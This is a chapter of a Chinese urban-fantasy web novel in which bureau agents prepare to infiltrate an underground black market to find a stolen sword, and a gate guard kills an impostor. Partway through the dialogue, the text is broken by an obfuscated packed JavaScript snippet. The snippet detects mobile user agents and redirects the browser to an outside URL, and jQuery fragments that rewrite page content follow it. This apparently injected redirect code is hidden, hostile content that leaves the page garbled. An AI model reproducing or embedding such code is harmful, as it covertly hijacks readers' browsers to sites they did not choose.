傍晚的风从老码头方向吹来,带着河水的腥气。宋临九的手已经搭在车门把手上,车内一片沉默。
“不用。”苏朝开口,目光落在钟峤身上,“小钟,说吧,这也许是一次机会。”
钟峤站在车门边,那双总是唯唯诺诺的眼睛,此刻死死盯着翻开的那一页涂鸦。
圆圈。三角形。三道竖线。
宋临九收回手,靠在车门上,等他开口。
“那页符号,”钟峤的声音有点哑,他清了清嗓子,却还是涩得厉害,“我见过,就在半年前。”
“一年前,我在档案科实习,我弟钟嵘刚考上大学,考古专业。那年暑假,他跟导师去青州做调查,然后就没回来。”
“官方说是意外坠崖,尸首被妖兽拖走,什么都没剩下。但我看过现场照片,他坠落的位置,周围没有任何妖兽活动的痕迹。唯一留下的,是他用指甲在石头上刻的三个符号,”钟峤的声音渐渐平稳下来,“我私下查了半年,最后查到一条线索,有人看见他和老六碰过面。”
“老六是暗河黑市的中间人,专门帮那些见不得光的买家牵线搭桥。”
“所以你去找老六?”宋临九问。
钟峤摇头:“是他来找我。我查得太明显,被他察觉。”
“然后呢?”
“然后我就躺在医院里了。”钟峤苦笑,“醒来时,浑身缠满绷带,肋骨断了三根,脾脏破裂,颅内出血。医生说,我的灵脉被震断了大半,能活着是奇迹。”
唯唯诺诺,瞻前顾后。无论怎么努力,灵力等级也只能勉强够得上B级。
“之后呢?”宋临九问。
“局里的人找到我,说此事已了,如果再查,就开除我。我妈那时候刚查出病,需要钱。我没得选。”
“你查到的线索呢?”宋临九问。
“一手资料被一把火烧没了,”钟峤攥紧拳头,“但我凭记忆复原了一份。”
他从背包里翻出一个旧笔记本,里面贴着各种剪报、照片和手写记录。纸张边缘磨损发毛,显然翻看过无数次。
“苏队,对不起。按照约定,我不能再查这件事,但我和我妈都需要一个结果,”钟峤抬起眼,眼眶泛红,但没有泪,“无论真相如何,任务结束后,我会递交辞职报告。请允许我继续跟队调查。”
车内气氛凝重。
“钟峤,不要把个人情绪带入到工作里,”宋临九打破僵局,接过笔记本翻看起来,“现在在调查断流剑的下落,不是你弟弟失踪的真相。”
笔记本里详细记录了老六的活动规律,接触过的人,甚至有经手过的物品。而这些交易,最终都指向一个地方。
暗河黑市。
“这事儿越来越棘手了,”赵昭昭明白宋临九的意思,立即接过话头,“暗河黑市,只针对特定人群开放。据说里面什么都能买到,文物、灵器、禁术、情报,甚至活人。”
苏朝沉默半晌,才开口:“不止如此,根据黑塔最新情报,暗河黑市可能涉及非法改造人实验。”
“这暗河也太猖狂了,”赵昭昭一拍桌子,“苏队,这能忍?”
“暗河势力盘根错节,不能轻举妄动,断流剑才是调查重点。”苏朝冷静道。
她长指在光脑上滑动,调出一份加密档案,投在屏幕上。
“暗河黑市,地下灵能交易组织,活跃时间超过一百年,组织架构严密,核心成员身份不明。”苏朝说,“缉妖局曾多次尝试渗透,均以失败告终。截至目前,仅传回一条情报,但卧底在传回情报后的第六小时,被发现吊死在家里。”
文件上的照片令人心颤。
那具尸体悬在吊灯上,身体像具干尸,可那张脸依旧年轻饱满,将死前的恐惧挣扎全凝固在脸上。
这是对缉妖局明晃晃的挑衅。
“局里也派人围剿过暗河,却引发了一场意外事故,导致第七号养殖场坍塌,近半数精锐全折在里头,”苏朝关掉文件,“从那以后,只要暗河不闹出大事,缉妖局便睁一只眼闭一只眼。”
即便是说缉妖局惨痛的经历,苏朝的声音依旧没什么起伏,平静得像冰冷的机器人。
“苏队,那这次……也要放弃么?”钟峤不甘心地问。
苏朝没说话,宋临九先开口了。
“苏队的意思是,这任务极其凶险,执行任务要格外小心,稍有不慎,便会落得跟那个卧底一样的下场,甚至比他更惨。还有……”
宋临九抬眼,对上苏朝那双平淡无波的眼睛。
“……最好有队员主动站出来,挑起大梁,不要让组织为难。”
苏朝也不生气,爽快地承认:“目前看来,于公于私,你俩都是最适合的人选。”
“我可以,”钟峤语气坚定,“苏队,我一个人也能执行任务,001跟你们在外围接应就行。”
“哟,好大的口气,”雷振刚又钻回了监控车,一听这话,脸上堆满了嘲讽,“你当那儿是菜市场?什么人都能进?”
“看来雷队很有想法,那就让雷队去吧。”宋临九从善如流,将矛头对准雷振刚。
“行啊,门票拿来,”雷振刚一屁股坐回椅子上,“有门票我就去。”
钟峤的脸色一下变得很难看。
普通人根本没拿票的渠道。
苏朝走到左侧座位,按下隐藏按钮,打开一个不起眼的暗格,输入虹膜和灵力波动验证后,锁扣“咔哒”弹开。
两张暗红色的门票静静躺在里面,烫金的纹路隐隐流动,像一条金色河流缓缓流淌。
“暗河门票?”在座几位都吃了一惊。
几人的目光落在雷振刚身上,雷振刚脸色变得五彩缤纷,梗着脖子说:“苏队,这玩意儿你从哪弄来的?”
“门票经过技术处理,身份信息可以被覆盖。”苏朝没接他的茬,“但暗河的查验系统很复杂。任何异常举动都可能触发二次核验。一旦被发现身份造假——”
她话没说完,但所有人都知道后果。
这时,赵昭昭的光脑响了。
她看了一眼,抬头说:“技术科破译了涂鸦本,得出一条线索:暗河黑市,8月。”
“刚偷完剑就敢拿出来拍卖?”赵昭昭吐槽道,“真是一点儿没把我们放在眼里。”
“具体时间、地点呢?”宋临九问。
“还没破译出来,也有可能没写进去。”赵昭昭回答。
【8月8日晚8点。黑市开市前1小时,门票上会自动显示最近的入口坐标。】代号X及时出现。
就在今晚。
“尽早准备,以防万一。”宋临九没有透露具体消息。
“想抢功?”雷振刚冷哼一声,“先说好,我不跟临时工出外勤。谁知道她向着那边儿?”
“雷队,”苏朝的声音冷下来,“如果你只会说风凉话,可以下车转到后勤组。”
雷振刚想反驳,对上苏朝的眼神,又把话咽了回去。
“苏队,我……”钟峤说。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248547|196210||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“按照原计划,由001和钟峤执行潜入暗河计划。”苏朝打断他,“由001担任小队队长。”
她看向宋临九。
宋临九接过门票,翻看了一下。上面的纹路在她指尖微微发烫,像是有生命一般。
“我们以什么身份进入暗河?”她问。
“灵器贩子。”苏朝调出两份资料,“记住上面的信息。”
宋临九那份上面写的是李如悦,二十三岁,灵能等级C级,与搭档周强常年混迹于江浙一带的地下灵器交易圈。三个月前,两人接了一单生意后失踪,至今下落不明。
“原主身份已被锁死,短期内不会有人发现异常,但以防万一,”苏朝对宋临九说,“进入暗河后,尽量不动用妖力。”
宋临九点头。
“你们只有一个任务,就是确认断流剑的下落,其他的,一概不理。尤其是你——”苏朝看向钟峤,“这是你最接近真相的时刻,不要毁于一时冲动。”
钟峤垂下眼,没吭声。
“还有,一旦进入暗河,便与外界断联,一切都靠你们自己。”苏朝叮嘱道。
“苏队,要不安个微型摄像头,说不定能收集到有效信息。”赵昭昭提议。
话音刚落,门票上的金色纹路突然亮起,缓缓流动,最后汇聚成一行小字:
“八点,渡口街13号,废弃水塔。”
七点五十五分,渡口街尽头已经稀稀落落来了五六个人。
宋临九和钟峤混在人群边缘。
来的人形形色色,有身穿校服的学生,有西装革履的中年人,也有穿着睡衣、呵欠连天的少女。没人交谈,彼此间保持着距离,目光偶尔交汇便迅速移开。
气氛诡异而沉默。
宋临九的目光扫过那几人,有两个是练家子,下盘稳得像钉在地上。那个打呵欠的少女看似漫不经心,但她眼角的余光一直在观察四周。
八点整。
水塔底部的铁门无声滑开,一股阴冷潮湿的风从里面涌出。门口站着一个全身裹在黑色斗篷里的人,手里提着一盏白纸灯笼,灯笼里燃着幽绿的火焰。
“票。”那人声音沙哑得厉害。
第一个人递上门票。
黑衣人接过去,对着灯笼照了照,点头,侧身让开。那人便低头走进铁门,消失在黑暗里。
第二个,第三个,第四个……
眼看就要轮到她俩,队伍突然停止前进。
前面那个西装男递上门票的动作明显顿了一下。黑衣人接过,照例对着绿光查验。
灯笼的火苗忽然跳动了一下。
西装男僵住。
黑衣人抬手,在灯笼上轻轻一弹。灯笼里的绿焰骤然暴涨,将整张门票包裹其中。
几秒钟后,门票被火焰蚕食殆尽,留下一个微小的光点。
“身份造假,加上携带微型摄像头,”黑衣人的声音平淡无波,却带着一股压迫感,“明知故犯,罪加一等。”
西装男转身就跑。
黑衣人抬起灯笼,轻轻一吹,绿焰从灯笼里飘出,像一条无形的蛇,瞬间追上了他。
火焰一沾到他后背,他整个人就直挺挺地倒了下去,再也没动。
队伍中几人神色各异,唯独没有恐惧,甚至有人露出幸灾乐祸的笑。
“没本事来什么暗河?”
“下一个。”黑衣人说,仿佛刚才的一切都没发生。
宋临九正想上前一步,却被钟峤拉住。